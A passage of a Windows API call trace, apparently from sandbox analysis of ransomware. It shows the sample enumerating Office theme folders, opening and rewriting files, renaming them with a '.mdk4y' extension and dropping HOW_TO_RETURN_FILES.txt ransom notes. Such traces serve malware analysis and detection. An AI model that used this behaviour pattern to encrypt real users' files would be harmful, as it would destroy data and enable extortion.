[0117.581] AreFileApisANSI () returned 1 [0117.581] GetACP () returned 0x4e4 [0117.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0117.581] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819281200000) returned 1 [0117.582] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa90c, lpOverlapped=0x0) returned 1 [0117.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819284700000) returned 1 [0117.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819284700000) returned 1 [0117.618] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.mdk4y")) returned 1 [0117.619] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0117.619] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0117.619] AreFileApisANSI () returned 1 [0117.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0117.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0117.619] GetFileType (hFile=0x130) returned 0x1 [0117.620] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0117.620] AreFileApisANSI () returned 1 [0117.620] GetACP () returned 0x4e4 [0117.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CANYON", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CANYON", lpUsedDefaultChar=0x37df4c) returned 6 [0117.620] AreFileApisANSI () returned 1 [0117.620] GetACP () returned 0x4e4 [0117.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\kš") returned 63 [0117.621] AreFileApisANSI () returned 1 [0117.621] GetACP () returned 0x4e4 [0117.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0117.621] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.621] AreFileApisANSI () returned 1 [0117.621] GetACP () returned 0x4e4 [0117.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0117.621] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.621] AreFileApisANSI () returned 1 [0117.621] GetACP () returned 0x4e4 [0117.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CANYON.ELM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CANYON.ELMtefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 10 [0117.621] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819285200000) returned 1 [0117.622] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaec9, lpOverlapped=0x0) returned 1 [0117.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819286400000) returned 1 [0117.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819286400000) returned 1 [0117.634] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.mdk4y")) returned 1 [0117.635] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.635] AreFileApisANSI () returned 1 [0117.635] GetACP () returned 0x4e4 [0117.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CANYON.INF", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CANYON.INF", lpUsedDefaultChar=0x37dec0) returned 10 [0117.635] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819286600000) returned 1 [0117.636] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1d1, lpOverlapped=0x0) returned 1 [0117.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819286700000) returned 1 [0117.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819286700000) returned 1 [0117.637] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.mdk4y")) returned 1 [0117.638] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.638] AreFileApisANSI () returned 1 [0117.638] GetACP () returned 0x4e4 [0117.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0117.638] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819286800000) returned 1 [0117.638] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3b1, lpOverlapped=0x0) returned 1 [0117.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819290100000) returned 1 [0117.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819290100000) returned 1 [0117.675] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.mdk4y")) returned 1 [0117.691] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.691] AreFileApisANSI () returned 1 [0117.691] GetACP () returned 0x4e4 [0117.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0117.691] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819292100000) returned 1 [0117.691] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7f5f, lpOverlapped=0x0) returned 1 [0117.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819293000000) returned 1 [0117.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819293000000) returned 1 [0117.701] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.mdk4y")) returned 1 [0117.701] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0117.701] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0117.702] AreFileApisANSI () returned 1 [0117.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0117.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0117.702] GetFileType (hFile=0x130) returned 0x1 [0117.703] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0117.703] AreFileApisANSI () returned 1 [0117.703] GetACP () returned 0x4e4 [0117.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CAPSULES", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CAPSULES", lpUsedDefaultChar=0x37df4c) returned 8 [0117.703] AreFileApisANSI () returned 1 [0117.703] GetACP () returned 0x4e4 [0117.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\") returned 65 [0117.703] AreFileApisANSI () returned 1 [0117.703] GetACP () returned 0x4e4 [0117.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0117.703] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.703] AreFileApisANSI () returned 1 [0117.703] GetACP () returned 0x4e4 [0117.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0117.703] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.703] AreFileApisANSI () returned 1 [0117.703] GetACP () returned 0x4e4 [0117.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CAPSULES.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CAPSULES.ELMfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0117.703] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819293800000) returned 1 [0117.708] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe1ba, lpOverlapped=0x0) returned 1 [0117.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819304900000) returned 1 [0117.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819304900000) returned 1 [0117.820] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.mdk4y")) returned 1 [0117.820] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.820] AreFileApisANSI () returned 1 [0117.820] GetACP () returned 0x4e4 [0117.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CAPSULES.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CAPSULES.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0117.821] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819305100000) returned 1 [0117.821] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f5, lpOverlapped=0x0) returned 1 [0117.822] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819305200000) returned 1 [0117.822] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819305200000) returned 1 [0117.822] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.mdk4y")) returned 1 [0117.852] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.852] AreFileApisANSI () returned 1 [0117.852] GetACP () returned 0x4e4 [0117.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0117.852] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819308200000) returned 1 [0117.852] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7fc, lpOverlapped=0x0) returned 1 [0117.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819313100000) returned 1 [0117.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819313100000) returned 1 [0117.901] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.mdk4y")) returned 1 [0117.902] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.902] AreFileApisANSI () returned 1 [0117.902] GetACP () returned 0x4e4 [0117.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG", lpUsedDefaultChar=0x37dec0) returned 12 [0117.902] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0117.902] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819313200000) returned 1 [0117.902] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x74e5, lpOverlapped=0x0) returned 1 [0117.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819313300000) returned 1 [0117.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819313300000) returned 1 [0117.904] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.mdk4y")) returned 1 [0117.904] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0117.904] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0117.905] AreFileApisANSI () returned 1 [0117.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0117.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0117.905] GetFileType (hFile=0x130) returned 0x1 [0117.906] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0117.906] AreFileApisANSI () returned 1 [0117.906] GetACP () returned 0x4e4 [0117.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CASCADE", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CASCADES", lpUsedDefaultChar=0x37df4c) returned 7 [0117.906] AreFileApisANSI () returned 1 [0117.906] GetACP () returned 0x4e4 [0117.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=64, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\7\r") returned 64 [0117.907] AreFileApisANSI () returned 1 [0117.907] GetACP () returned 0x4e4 [0117.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0117.907] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.907] AreFileApisANSI () returned 1 [0117.907] GetACP () returned 0x4e4 [0117.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0117.908] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0117.908] AreFileApisANSI () returned 1 [0117.908] GetACP () returned 0x4e4 [0117.908] WideCharToMultiByte (in: 